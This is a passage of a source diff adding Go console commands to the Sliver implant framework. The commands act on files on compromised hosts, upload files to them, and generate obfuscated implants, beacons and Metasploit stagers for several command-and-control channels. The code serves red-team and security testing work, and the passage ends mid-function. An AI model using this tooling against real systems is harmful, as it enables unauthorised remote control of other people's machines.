+func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: directory name\n")
+		return
+	}
+
+	mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if mkdir.Response != nil && mkdir.Response.Async {
+		con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, mkdir)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMkdir(mkdir, con)
+		})
+		con.PrintAsyncResponse(mkdir.Response)
+	} else {
+		PrintMkdir(mkdir, con)
+	}
+}
+
+// PrintMkdir - Print make directory
+func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
+	if mkdir.Response != nil && mkdir.Response.Err != "" {
+		con.PrintErrorf("%s\n", mkdir.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", mkdir.Path)
+}

client/command/filesystem/pwd.go

@@ -0,0 +1,67 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// PwdCmd - Print the remote working directory
+func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
+	} else {
+		PrintPwd(pwd, con)
+	}
+}
+
+// PrintPwd - Print the remote working directory
+func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
+	if pwd.Response != nil && pwd.Response.Err != "" {
+		con.PrintErrorf("%s\n", pwd.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", pwd.Path)
+}

client/command/filesystem/rm.go

@@ -0,0 +1,78 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// RmCmd - Remove a directory from the remote file system
+func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		Recursive: ctx.Flags.Bool("recursive"),
+		Force:     ctx.Flags.Bool("force"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if rm.Response != nil && rm.Response.Async {
+		con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, rm)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintRm(rm, con)
+		})
+		con.PrintAsyncResponse(rm.Response)
+	} else {
+		PrintRm(rm, con)
+	}
+}
+
+// PrintRm - Print the rm response
+func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
+	if rm.Response != nil && rm.Response.Err != "" {
+		con.PrintErrorf("%s\n", rm.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", rm.Path)
+}

client/command/filesystem/upload.go

@@ -0,0 +1,106 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// UploadCmd - Upload a file to the remote system
+func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	localPath := ctx.Args.String("local-path")
+	remotePath := ctx.Args.String("remote-path")
+	isIOC := ctx.Flags.Bool("ioc")
+
+	if localPath == "" {
+		con.PrintErrorf("Missing parameter, see `help upload`\n")
+		return
+	}
+
+	src, _ := filepath.Abs(localPath)
+	_, err := os.Stat(src)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if remotePath == "" {
+		fileName := filepath.Base(src)
+		remotePath = fileName
+	}
+	dst := remotePath
+
+	fileBuf, err := ioutil.ReadFile(src)
+	uploadGzip := new(encoders.Gzip).Encode(fileBuf)
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
+	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    dst,
+		Data:    uploadGzip,
+		Encoder: "gzip",
+		IsIOC:   isIOC,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if upload.Response != nil && upload.Response.Async {
+		con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, upload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUpload(upload, con)
+		})
+		con.PrintAsyncResponse(upload.Response)
+	} else {
+		PrintUpload(upload, con)
+	}
+}
+
+// PrintUpload - Print the result of the upload command
+func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
+	if upload.Response != nil && upload.Response.Err != "" {
+		con.PrintErrorf("%s\n", upload.Response.Err)
+		return
+	}
+	con.PrintInfof("Wrote file to %s\n", upload.Path)
+}

client/command/generate/README.md

@@ -0,0 +1,5 @@
+Generate
+========
+
+Implements command related to implant generation such as `generate`, `regenerate`, `profiles`, etc.
+

client/command/generate/canaries.go

@@ -0,0 +1,76 @@
+package generate
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// CanariesCmd - Display canaries from the database and their status
+func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Failed to list canaries %s", err)
+		return
+	}
+	if 0 < len(canaries.Canaries) {
+		displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
+	} else {
+		con.PrintInfof("No canaries in database\n")
+	}
+}
+
+func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("Sliver Name")),
+		strings.Repeat("=", len("Domain")),
+		strings.Repeat("=", len("Triggered")),
+		strings.Repeat("=", len("First Trigger")),
+		strings.Repeat("=", len("Latest Trigger")),
+	)
+
+	lineColors := []string{}
+	for _, canary := range canaries {
+		if burnedOnly && !canary.Triggered {
+			continue
+		}
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+			canary.ImplantName,
+			canary.Domain,
+			fmt.Sprintf("%v", canary.Triggered),
+			canary.FirstTriggered,
+			canary.LatestTrigger,
+		)
+		if canary.Triggered {
+			lineColors = append(lineColors, console.Bold+console.Red)
+		} else {
+			lineColors = append(lineColors, console.Normal)
+		}
+	}
+	table.Flush()
+
+	for index, line := range strings.Split(outputBuf.String(), "\n") {
+		if len(line) == 0 {
+			continue
+		}
+		// We need to account for the two rows of column headers
+		if 0 < len(line) && 2 <= index {
+			lineColor := lineColors[index-2]
+			con.Printf("%s%s%s\n", lineColor, line, console.Normal)
+		} else {
+			con.Printf("%s\n", line)
+		}
+	}
+}

client/command/generate/generate-beacon.go

@@ -0,0 +1,48 @@
+package generate
+
+import (
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	minBeaconInterval         = 5 * time.Second
+	ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
+)
+
+// GenerateBeaconCmd - The main command used to generate implant binaries
+func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	config.IsBeacon = true
+	err := parseBeaconFlags(ctx, con, config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	compile(config, save, con)
+}
+
+func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
+	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
+	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
+	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
+	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+	if interval < minBeaconInterval {
+		return ErrBeaconIntervalTooShort
+	}
+	config.BeaconInterval = int64(interval)
+	config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
+	return nil
+}

client/command/generate/generate-info.go

@@ -0,0 +1,34 @@
+package generate
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
+func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Failed to get compiler information: %s\n", err)
+		return
+	}
+	con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
+	con.Println()
+	con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
+	for _, cc := range compiler.CrossCompilers {
+		con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
+	}
+	con.Println()
+	con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
+	for _, target := range compiler.Targets {
+		con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
+	}
+	con.Println()
+	con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
+	for _, target := range compiler.UnsupportedTargets {
+		con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
+	}
+}

client/command/generate/generate-stager.go

@@ -0,0 +1,117 @@
+package generate
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"os"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// GenerateStagerCmd - Generate a stager using Metasploit
+func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var stageProto clientpb.StageProtocol
+	lhost := ctx.Flags.String("lhost")
+	if lhost == "" {
+		con.PrintErrorf("Please specify a listening host")
+		return
+	}
+	match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
+	if err != nil {
+		return
+	}
+	if !match {
+		addr, err := net.LookupHost(lhost)
+		if err != nil {
+			con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
+			return
+		}
+		if len(addr) > 1 {
+			prompt := &survey.Select{
+				Message: "Select an address",
+				Options: addr,
+			}
+			err := survey.AskOne(prompt, &lhost)
+			if err != nil {
+				con.PrintErrorf("Error: %v\n", err)
+				return
+			}
+		} else {
+			lhost = addr[0]
+		}
+	}
+	lport := ctx.Flags.Int("lport")
+	stageOS := ctx.Flags.String("os")
+	arch := ctx.Flags.String("arch")
+	proto := ctx.Flags.String("protocol")
+	format := ctx.Flags.String("format")
+	badchars := ctx.Flags.String("badchars")
+	save := ctx.Flags.String("save")
+
+	bChars := make([]string, 0)
+	if len(badchars) > 0 {
+		for _, b := range strings.Split(badchars, " ") {
+			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
+		}
+	}
+
+	switch proto {
+	case "tcp":
+		stageProto = clientpb.StageProtocol_TCP
+	case "http":
+		stageProto = clientpb.StageProtocol_HTTP
+	case "https":
+		stageProto = clientpb.StageProtocol_HTTPS
+	default:
+		con.PrintErrorf("%s staging protocol not supported\n", proto)
+		return
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil("Generating stager, please wait ...", ctrl)
+	stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
+		Arch:     arch,
+		BadChars: bChars,
+		Format:   format,
+		Host:     lhost,
+		Port:     uint32(lport),
+		Protocol: stageProto,
+		OS:       stageOS,
+	})
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+
+	if save != "" || format == "raw" {
+		saveTo, _ := filepath.Abs(save)
+		fi, err := os.Stat(saveTo)
+		if err != nil {
+			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
+			return
+		}
+		if fi.IsDir() {
+			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
+		}
+		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		if err != nil {
+			con.PrintErrorf("Failed to write to: %s\n", saveTo)
+			return
+		}
+		con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
+	} else {
+		con.PrintInfof("Here's your stager:")
+		con.Println(string(stageFile.GetFile().GetData()))
+	}
+}

client/command/generate/generate.go

@@ -0,0 +1,682 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	"net"
+	"net/url"
+	"os"
+	"path"
+	"path/filepath"
+	"regexp"
+	"runtime"
+	"strings"
+
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	// DefaultMTLSLPort is the default port for mtls
+	DefaultMTLSLPort = 8888
+	// DefaultWGPort is the default port for wg
+	DefaultWGLPort = 53
+	// DefaultWGNPort is the default n port for wg
+	DefaultWGNPort = 8888
+	// DefaultWGKeyExPort is the default port for wg key exchange
+	DefaultWGKeyExPort = 1337
+	// DefaultHTTPLPort is the default port for http
+	DefaultHTTPLPort = 80
+	// DefaultHTTPSLPort is the default port for https
+	DefaultHTTPSLPort = 443
+	// DefaultDNSLPortis the default port for dns
+	DefaultDNSLPort = 53
+	// DefaultTCPPivotPort is the default port for tcp pivots
+	DefaultTCPPivotPort = 9898
+
+	// DefaultReconnect is the default reconnect time
+	DefaultReconnect = 60
+	// DefaultPollTimeout is the default poll timeout
+	DefaultPollTimeout = 360 // 6 minutes
+	// DefaultMaxErrors is the default max reconnection errors before giving up
+	DefaultMaxErrors = 1000
+)
+
+const (
+	crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
+)
+
+var (
+	// SupportedCompilerTargets - Supported compiler targets
+	SupportedCompilerTargets = map[string]bool{
+		"darwin/amd64":  true,
+		"darwin/arm64":  true,
+		"linux/386":     true,
+		"linux/amd64":   true,
+		"windows/386":   true,
+		"windows/amd64": true,
+	}
+)
+
+// GenerateCmd - The main command used to generate implant binaries
+func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	compile(config, save, con)
+}
+
+func expandPath(path string) string {
+	// unless path starts with ~
+	if len(path) == 0 || path[0] != 126 {
+		return path
+	}
+
+	return filepath.Join(os.Getenv("HOME"), path[1:])
+}
+
+func saveLocation(save, DefaultName string) (string, error) {
+	var saveTo string
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	save = expandPath(save)
+	fi, err := os.Stat(save)
+	if os.IsNotExist(err) {
+		log.Printf("%s does not exist\n", save)
+		if strings.HasSuffix(save, "/") {
+			log.Printf("%s is dir\n", save)
+			os.MkdirAll(save, 0700)
+			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
+		} else {
+			log.Printf("%s is not dir\n", save)
+			saveDir := filepath.Dir(save)
+			_, err := os.Stat(saveTo)
+			if os.IsNotExist(err) {
+				os.MkdirAll(saveDir, 0700)
+			}
+			saveTo, _ = filepath.Abs(save)
+		}
+	} else {
+		log.Printf("%s does exist\n", save)
+		if fi.IsDir() {
+			log.Printf("%s is dir\n", save)
+			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
+		} else {
+			log.Printf("%s is not dir\n", save)
+			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
+			var confirm bool
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return "", errors.New("file already exists")
+			}
+			saveTo, _ = filepath.Abs(save)
+		}
+	}
+	return saveTo, nil
+}
+
+func nameOfOutputFormat(value clientpb.OutputFormat) string {
+	switch value {
+	case clientpb.OutputFormat_EXECUTABLE:
+		return "Executable"
+	case clientpb.OutputFormat_SERVICE:
+		return "Service"
+	case clientpb.OutputFormat_SHARED_LIB:
+		return "Shared Library"
+	case clientpb.OutputFormat_SHELLCODE:
+		return "Shellcode"
+	}
+	panic(fmt.Sprintf("Unknown format %v", value))
+}
+
+// Shared function that extracts the compile flags from the grumble context
+func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
+	var name string
+	if ctx.Flags["name"] != nil {
+		name = strings.ToLower(ctx.Flags.String("name"))
+
+		if name != "" {
+			isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
+			if !isAlphanumeric(name) {
+				con.PrintErrorf("Implant's name must be in alphanumeric only\n")
+				return nil
+			}
+		}
+	}
+
+	c2s := []*clientpb.ImplantC2{}
+
+	mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, mtlsC2...)
+
+	wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, wgC2...)
+
+	httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, httpC2...)
+
+	dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, dnsC2...)
+
+	namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, namedPipeC2...)
+
+	tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, tcpPivotC2...)
+
+	var symbolObfuscation bool
+	if ctx.Flags.Bool("debug") {
+		symbolObfuscation = false
+	} else {
+		symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
+	}
+
+	if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
+		con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
+		return nil
+	}
+
+	rawCanaries := ctx.Flags.String("canary")
+	canaryDomains := []string{}
+	if 0 < len(rawCanaries) {
+		for _, canaryDomain := range strings.Split(rawCanaries, ",") {
+			if !strings.HasSuffix(canaryDomain, ".") {
+				canaryDomain += "." // Ensure we have the FQDN
+			}
+			canaryDomains = append(canaryDomains, canaryDomain)
+		}
+	}
+
+	reconnectInterval := ctx.Flags.Int("reconnect")
+	pollTimeout := ctx.Flags.Int("poll-timeout")
+	maxConnectionErrors := ctx.Flags.Int("max-errors")
+
+	limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
+	limitHostname := ctx.Flags.String("limit-hostname")
+	limitUsername := ctx.Flags.String("limit-username")
+	limitDatetime := ctx.Flags.String("limit-datetime")
+	limitFileExists := ctx.Flags.String("limit-fileexists")
+
+	isSharedLib := false
+	isService := false
+	isShellcode := false
+
+	format := ctx.Flags.String("format")
+	var configFormat clientpb.OutputFormat
+	switch format {
+	case "exe":
+		configFormat = clientpb.OutputFormat_EXECUTABLE
+	case "shared":
+		configFormat = clientpb.OutputFormat_SHARED_LIB
+		isSharedLib = true
+	case "shellcode":
+		configFormat = clientpb.OutputFormat_SHELLCODE
+		isShellcode = true
+	case "service":
+		configFormat = clientpb.OutputFormat_SERVICE
+		isService = true
+	default:
+		// Default to exe
+		configFormat = clientpb.OutputFormat_EXECUTABLE
+	}
+
+	targetOS := strings.ToLower(ctx.Flags.String("os"))
+	targetArch := strings.ToLower(ctx.Flags.String("arch"))
+	targetOS, targetArch = getTargets(targetOS, targetArch, con)
+	if targetOS == "" || targetArch == "" {
+		return nil
+	}
+	if len(namedPipeC2) > 0 && targetOS != "windows" {
+		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
+		return nil
+	}
+
+	// Check to see if we can *probably* build the target binary
+	if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
+		return nil
+	}
+
+	var tunIP net.IP
+	if wg := ctx.Flags.String("wg"); wg != "" {
+		uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
+		tunIP = net.ParseIP(uniqueWGIP.IP)
+		if err != nil {
+			con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
+			return nil
+		}
+		con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
+	}
+
+	config := &clientpb.ImplantConfig{
+		GOOS:             targetOS,
+		GOARCH:           targetArch,
+		Name:             name,
+		Debug:            ctx.Flags.Bool("debug"),
+		Evasion:          ctx.Flags.Bool("evasion"),
+		ObfuscateSymbols: symbolObfuscation,
+		C2:               c2s,
+		CanaryDomains:    canaryDomains,
+
+		WGPeerTunIP:       tunIP.String(),
+		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
+		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),
+
+		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
+		PollTimeout:         int64(pollTimeout) * int64(time.Second),
+		MaxConnectionErrors: uint32(maxConnectionErrors),
+
+		LimitDomainJoined: limitDomainJoined,
+		LimitHostname:     limitHostname,
+		LimitUsername:     limitUsername,
+		LimitDatetime:     limitDatetime,
+		LimitFileExists:   limitFileExists,
+
+		Format:      configFormat,
+		IsSharedLib: isSharedLib,
+		IsService:   isService,
+		IsShellcode: isShellcode,
+	}
+
+	return config
+}
+
+func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) {
+
+	/* For UX we convert some synonymous terms */
+	if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
+		targetOS = "darwin"
+	}
+	if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
+		targetOS = "windows"
+	}
+	if targetOS == "linux" || targetOS == "lin" {
+		targetOS = "linux"
+	}
+
+	if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
+		targetArch = "amd64"
+	}
+	if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
+		targetArch = "386"
+	}
+
+	target := fmt.Sprintf("%s/%s", targetOS, targetArch)
+	if _, ok := SupportedCompilerTargets[target]; !ok {
+		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
+			console.Bold, target, console.Normal,
+		)
+		con.Printf("⚠️  Generic implants do not support all commands/features.\n")
+		prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
+		var confirm bool
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return "", ""
+		}
+	}
+
+	return targetOS, targetArch
+}
+
+// ParseMTLSc2 - Parse mtls connection string arg
+func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "mtls://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Port() == "" {
+			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseWGc2 - Parse wg connect string arg
+func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "mtls://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Port() == "" {
